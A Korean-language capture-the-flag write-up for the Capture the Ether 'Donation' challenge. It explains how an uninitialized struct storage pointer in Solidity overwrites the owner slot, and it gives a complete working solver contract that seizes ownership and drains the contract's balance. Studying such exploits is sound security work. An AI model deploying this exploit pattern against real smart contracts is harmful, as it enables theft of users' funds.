Capture the ether-Donation

problem link

pragma solidity ^0.4.21;
 
contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;
 
    address public owner;
 
    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
 
    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);
 
        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;
 
        donations.push(donation);
    }
 
    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
}

풀이

solidity에서 storage는 다음과 같이 주소가 지정된다.

  • 일반적인 자료형(boolean, uint256 등)은 slot 0부터 시작하여 선언 순서대로 매핑된다. 각 슬롯은 32바이트이다.
  • array의 경우 상단 슬롯(slot 0부터 시작하는)에는 해당 array의 길이가 저장된다.
    • 실제 값은 keccak256(길이가 저장된 슬롯 번호) + index 번 슬롯에 저장된다.
  • struct의 경우
    • 구조체 내의 변수가 1 slot(32바이트) 내에 들어간다면, 1 slot에 여러개의 데이터를 넣는다. 1 slot보다 크다면 그 다음 slot에 저장한다.
    • 예를 들어 struct S { uint16 a; uint16 b; uint256 c; } 라면, a와 b가 하나의 slot에 저장되고, 다음 슬롯에 c가 저장된다.

함수 안에서 struct 변수를 선언하면 디폴트로는 storage 포인터로 인식한다. 즉, storage나 memory 지정자가 없는 Donation donation;Donation storage donation; 이나 마찬가지이다. 이 때, donation 변수가 초기화되지 않았다. 솔리디티에서 초기화되지 않은 디폴트 값은 0이다. 따라서 donation 포인터는 0번 슬롯을 가리키고 있다.

원래 의도대로 코드를 쓰자면 다음과 같이 memory에 구조체를 저장한 뒤 push를 해야한다.

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);
 
        Donation memory donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;
 
        donations.push(donation);
    }

하지만 실제로는 donation이 storage 포인터가 되어 0번 슬롯을 가리키며, 이후 0번 슬롯을 기반으로 struct 데이터를 덮어씌운다. 즉 0번 슬롯에 now가, 1번 슬롯에 etherAmount가 저장된다.

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;
 
    address public owner;
    ...
}

0번 슬롯에는 donations 배열의 길이가, 1번 슬롯에는 owner가 저장된다. 즉, donate 함수를 통해 0번과 1번 슬롯을 덮어쓸 수 있는 상황이다. owner를 조작하면 withdraw의 require(msg.sender == owner); 를 우회하여 토큰을 꺼낼 수 있다. 파라미터 etherAmount 를 통해 조작할 수 있다.

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);
 
        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;
 
        donations.push(donation);
    }

여기서 etherAmount 를 조작하기 위해서는 donate 를 호출하며 이더리움을 보내야할 것 같다. require(msg.value == etherAmount / scale); 로 체크하니, 원하는 주소를 owner로 설정하기 위해서는 많은 양의 이더리움이 필요해보인다. 하지만, 여기서 계산을 잘못하여 실제로는 많은 이더리움이 필요하지 않게 된다. uint256 scale = 10**18 * 1 ether; 로 정의되는데, 이는 10**36 이 된다. 왜냐하면 1 ether 라는 표현은 10**18 을 읽기 쉽게 바꾼 것이기 때문이다. 즉, donate를 호출할 때는 etherAmount로 설정한 값의 1/10^36 wei 만큼의 이더리움을 보내야한다. 주소는 20바이트로, 약 10^42 크기이다. 즉, 약 10^6 wei 정도로 공격이 가능하다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.7;
 
interface DonationChallenge {
    function donate(uint256 etherAmount) external payable;
    function withdraw() external;
    function isComplete() external view returns (bool);
}
 
contract DonationSolver {
    address payable public owner;
    DonationChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = DonationChallenge(payable(_problem));
    }
 
    function solve() payable public {
        uint256 val = uint256(uint160(address(this))) / (10**18 * 1 ether);
        problem.donate{value: val}(uint256(uint160(address(this))));
        problem.withdraw();
 
        require(problem.isComplete(), "fail");
 
        extract();
    }
 
    function extract() public {
        owner.transfer(address(this).balance);
    }
 
    receive() external payable { }
}

다음은 공격 코드이다. 토큰을 전송받을 수 있어야하기에 receive 함수를 넣었다. solve 를 호출하며 충분한 양의 이더리움을 함께 보낸다. 남은 액수는 리워드와 함께 extract 에서 돌아온다.

이 취약점은 초기화되지 않은 storage 포인터가 원인이다. 구조체의 메모리 구조를 파악하여 상단 슬롯을 덮어쓸 수 있었다.


tags: writeup, blockchain, solidity, smart contract